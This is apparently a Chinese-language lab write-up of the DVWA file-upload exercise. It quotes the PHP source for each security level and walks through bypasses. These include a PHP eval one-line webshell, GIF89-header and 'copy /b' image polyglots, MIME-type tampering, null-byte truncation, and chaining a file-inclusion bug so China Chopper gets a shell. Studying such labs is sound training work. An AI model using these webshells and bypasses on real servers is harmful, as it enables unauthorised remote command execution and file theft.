DVWA—File Upload(文件上传)
DVWA文件上传
文件上传是Web是常见的服务
Low:
源代码:
basename(path,suffix)
函数返回路径中的文件名部分,如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。
可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
如果上传成功,则会提示 路径+succesfully uploaded! 如果上传失败,则会提示 Your image was not uploaded。
漏洞利用
文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。不幸的是,这里三个条件全都满足。
开始——我们可以写一句话木马 1.php ,上传
上传成功,并且返回了上传路径
打开中国菜刀,右键添加,下面的ip为存放DVWA的ip,自行修改
地址栏填入上传文件所在路径http://192.168.43.116/dvwa/hackable/uploads/1.php
参数名(一句话木马口令)为apple。
然后菜刀就会通过向服务器发送包含apple参数的post请求,在服务器上执行任意命令,获取webshell权限。
可以下载、修改服务器的所有文件。
右击可以打开服务器的虚拟终端。
Medium:
源代码:
可以看到,服务器对上传文件的大小和类型做了限制。只允许上传小于 100000 字节(约为97.6KB)
并且文件type类型是image/jpeg或 image/png 的。
这里有好几种方法:
1.往图片中添加一句话木马,
制作方法
首先准备好一张图片,一个一句话木马,以及同路径下的dos窗口
dos窗口可以新建一个文档输入 cmd,之后后缀名改为bat
然后输入DOS命令:copy 1.jpg+1.php 2.jpg
此时产生的2.jpg就是我们要的图片一句话木马。
其实那个bat文档不用建的,winodws+R输入cmd加回车,效果一样
不过新建的话,可以不用找1.jpg和1.php的路径,如果路径特别清楚bat文档没必要建
编译器(记事本什么的都行)打开看看,发现一句话木马加上了
重复low级别的上传,中国菜刀的操作
下图标记中的apple2,,是当初一句话木马里的参数名(本来是apple我改啦下,随便起名的保证菜刀中的和它一致就行)
2.抓包修改文件的type
因为这里过滤的是文件的上传类型,而不是文件的后缀名
所以我们直接上传 4.php 的一句话木马
通过burpsuite抓包,默认type类型是application/octer-stream
我们将其类型改为 image/jpeg ,然后Forward上传,可以看到,已经上传成功!
菜刀,http://192.168.43.116/dvwa/hackable/uploads/4.php
3.00截断
改一个一句话木马php文件的后缀名加一个.jpeg。
但是查看的时候文件解析不了,,
现在我们给.jpeg的.进行截断
设置代理,再次上传,抓包.(2e)改成00,,,
注意此时的名称
改成00
之前的 .变啦
之后同样的上传,中国菜刀连接
High:
源代码:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; //文件在上传者机器上的文件名 $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //上传文件的后缀名 $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; //上传文件的大小 $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; //上传文件保存在服务器临时文件夹的文件名 // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext )=="jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
strrpos(string , find ,start) 查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始
substr(string,start,length) 返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度
strtolower(string) 返回给定字符串的小写
getimagesize(string) :函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING级的错误。所以 getimagesize函数的作用是判断上传的文件是不是有效的图片
move_uploaded_file(file,newlocal) 函数表示把给定的文件移动到新的位置
所以 $uploaded_ext 表示的是上传文件的后缀名 ,这里限制上传的文件的后缀名必须以 jpg 、jpeg 或 png 结尾,同时大小<100000,同时上传的文件必须是有效的图片格式(不只是以图片的格式结尾,而且文件内容是图片格式的)。
开始
我们直接上传一句话木马,然后把文件名改为 1.jpg
<?php @eval($_POST['xie']); ?>
发现上传不了,因为仅仅后缀是图片格式的还不行,文件内容必须还得是图片格式的。
所以我们在文件头部加上了jpg格式的 GIF89
GIF89 <?php @eval($_POST['xie'])?>
或者我们可以在cmd命令行下: copy /b 1.jpg+1.php 1.jpg 把一句话木马写入到图片的最末端也可以。
在文件头部加了jpg格式的 GIF89 标识后成功上传!
虽然我们的一句话木马上传成功了,但是他是以jpg为后缀的,菜刀不能直接连接,必须让他作为php解析。
中国菜刀的原理是向上传文件发送包含参数的post请求,通过控制参数来执行不同的命令,而这里服务器将木马文件解析成了图片文件,因此向其发送post请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。
那么,怎么才能让我们的图片以 php 格式运行呢? 文件包含!我们可以利用DVWA的文件包含漏洞,让我们的图片格式的一句话木马以php格式运行。
我们访问该URL:
http://127.0.0.1/vulnerabilities/fi/?page=file:///D:/PhpStudy/PHPTutorial/WWW/DVWA/hackable/uploads/1.jpg
可以看到,成功包含了我们上传的一句话木马图片,把该图片当成php文件执行了。
然后我们就可以用中国菜刀进行连接了
因为这个网站是要登录的,所以我们在菜刀中右键,然后浏览网站,然后登录就可以在菜刀中保持我们的session。然后就可以获取Webshell了。
Impossible :
源代码
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; //文件在上传者机器上的文件名 $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //上传文件的后缀名 $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; //上传文件的大小 $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; //上文文件的类型 $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; //文件上传到服务器临时文件夹后的文件名 // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
imagecreatefromjpeg(filename):从给定的文件或url中创建一个新的图片
imagejpeg(image,filename,quality):从image图像中以 filename 文件名创建一个jpeg的图片,参数quality可选,0-100 (质量从小到大)
imagedestroy(image) : 销毁图像
可以看到,Impossible级别对上传的文件进行了重命名(为md5值,导致00截断无法绕过过滤规则),并且加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。